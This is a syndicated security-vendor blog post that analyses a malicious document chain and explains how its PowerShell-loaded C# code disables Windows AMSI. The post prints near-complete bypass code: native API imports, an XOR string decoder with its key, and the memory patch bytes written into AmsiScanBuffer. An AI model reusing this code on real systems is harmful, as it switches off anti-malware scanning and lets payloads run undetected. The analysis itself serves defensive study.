
Disabling Anti-Malware Scanning
This post follows on from the previous blog post, Preview Pane, looking at the later parts of the kill chain for the same malicious document.
Here I will detail a technique for disabling the Antimalware Scan Interface (AMSI). This is an interface provided as part of Microsoft Windows for scanning data with anti-malware software installed on the system. This allows applications to request scanning of downloaded data before writing the data to a file, as one example. If a piece of malware can disable this interface, then it can evade anti-virus. In this post I will look at how a sample we received from a customer did just that.
The Excel documents that are launched from the RTF document each contain obfuscated macros:
Following through this obfuscated code, we discovered that it runs a command that’s contained in cell G135 in an obfuscated form:
After going through these multiple levels of obfuscation, the Excel document macros finally launch PowerShell. Because Bromium monitors activity that happens inside of the isolated VM, there is no need to de-obfuscate these many layers manually. The threat reported to the Bromium Controller for the malicious document contains a trace of activity inside the VM, including the full script that Powershell will execute:
Ultimately, this script attempts to download an executable from a compromised website, which it then executes, a very common technique. The script even sets the user-agent on the request to an apparently meaningless string – which is likely being used by the compromised server to either customize the payload that is downloaded or for tracking the success of different methods of infecting machines.
However, an unusual technique in the sample is that the PowerShell script first converts some XOR obfuscated base16 encoded text into a C# script, which disables some of the Microsoft AV APIs to avoid the file being scanned as it is downloaded.
It does this by using the Add-Type command in PowerShell to load some C# code. After loading this C# code, the PowerShell instance invokes the “rbc5492” method on the class with name “o15b72” before sleeping for 1 second, then downloading and running the payload for the next stage of the attack.
The C# code makes use of the following native APIs:
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
Leaving the “rbc5492” method to analyse last, the only other method in the class is “v4bad81”:
public static string v4bad81(string strIn) { string rbf4534 = "a25baab"; string m941db = String.Empty; for (int i = 0; i < strIn.Length; i += 2) { byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16); m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]); } return m941db; }
(The strange indentation of the method might also show some copy-paste or just poor code review practices by the malware authors.)
This “v4bad81” method takes a string as input, performs some decoding of it and then returns that string.
It steps through the input string, 2 characters at a time, and decodes them using Convert.ToByte as hex, that’s the 16 in the second argument and the numerical base of the string. The malware then takes that value and XORs it with a value extracted from “rbf4534” and appends that to the final output string.
Interestingly, this XOR-based method of obfuscation is identical to the method used to obfuscate the C# code in the first place – even down to using the same key and method name as the PowerShell function.
So that brings us to the “rbc5492” method, which we will go through a few lines at a time:
public static int rbc5492() { IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d")); if (k98a91f == IntPtr.Zero) { return 1; }
This loads the library described by the obfuscated string “005f460b4f050e0d”. Putting that into the de-obfuscation method gives “amsi.dll”. Therefore, this code is just loading a handle to the Antimalware Scan Interface (AMSI) DLL.
IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410")); if (wc852 == IntPtr.Zero) { return 1; }
The next part of the code then uses that DLL handle to load the address of the function in the obfuscated string “205f460b3202030f704004070410”, which is “AmsiScanBuffer” when de-obfuscated. This function is used to scan the contents of buffers for malware.
UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(wc852, dwSize, 0x40, out Zero)) { return 1; }
The next part then changes the memory permissions on the “AmsiScanBuffer” code to be 0x40, which is PAGE_EXECUTE_READWRITE. This is to allow modification of the code.
Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3); return 0; }
This copies three bytes of memory to the offset of 0x1b (27 in decimal) into the “AmsiScanBuffer” function. After doing this it returns, which will return control back to the PowerShell script, which will sleep for 1 second before doing the download.
So, what’s at 27 bytes into the AmsiScanBuffer function? On a 64-bit Windows 10 Redstone 4 system this is as follows, with the modified instruction highlighted in red at 00007fff`f479243b:
amsi!AmsiScanBuffer: 00007fff`f4792420 4c8bdc mov r11, rsp 00007fff`f4792423 49895b08 mov qword ptr [r11+8], rbx 00007fff`f4792427 49896b10 mov qword ptr [r11+10h], rbp 00007fff`f479242b 49897318 mov qword ptr [r11+18h], rsi 00007fff`f479242f 57 push rdi 00007fff`f4792430 4156 push r14 00007fff`f4792432 4157 push r15 00007fff`f4792434 4883ec70 sub rsp, 70h 00007fff`f4792438 4d8bf9 mov r15, r9 00007fff`f479243b 418bf8 mov edi, r8d <- Modified instruction 00007fff`f479243e 488bf2 mov rsi, rdx …
The three bytes that are written into the memory convert the modified instruction into two instructions:
00007fff`f479243b 31ff xor edi, edi 00007fff`f479243d 90 nop
This replaces the instruction that copies r8d into edi with just setting edi to zero. The reason for this is because r8d holds the third function parameter in the x64 calling convention. The prototype for the AmsiScanBuffer function is:
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
(From https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer)
By making the third argument always be treated as zero, it renders AmsiScanBuffer useless as it will always think that it is scanning a zero-length buffer. As this patching is done from within PowerShell, the result will be that any calls the PowerShell process (and only that process) makes to AmsiScanBuffer will do nothing. This prevents PowerShell from passing the downloaded code to anti-malware tools for scanning, therefore allowing the malicious data to be written to file.
We speculate that the 1-second sleep that PowerShell does after this C# code is to ensure that the CPU instruction cache is flushed, which is something you must do when modifying code. However , if this is the case we do not understand why the malware wouldn’t make use of FlushInstructionCache.
Many others have reported that disabling AMSI is a feature offered by some exploit kits, so it is interesting to see one of the techniques for doing this in malware in the wild. However, the C# code is very similar to a proof of concept posted last year, but with the addition of obfuscation of the library and function names.
Because Bromium Secure Platform isolates malware inside a lightweight micro-VM and can look into that VM from outside, techniques like this don’t evade the detection or protection provided to our users.
The post Disabling Anti-Malware Scanning appeared first on Bromium.
*** This is a Security Bloggers Network syndicated blog from Bromium authored by Toby Gray. Read the original post at: https://www.bromium.com/disabling-anti-malware-scanning-amsi/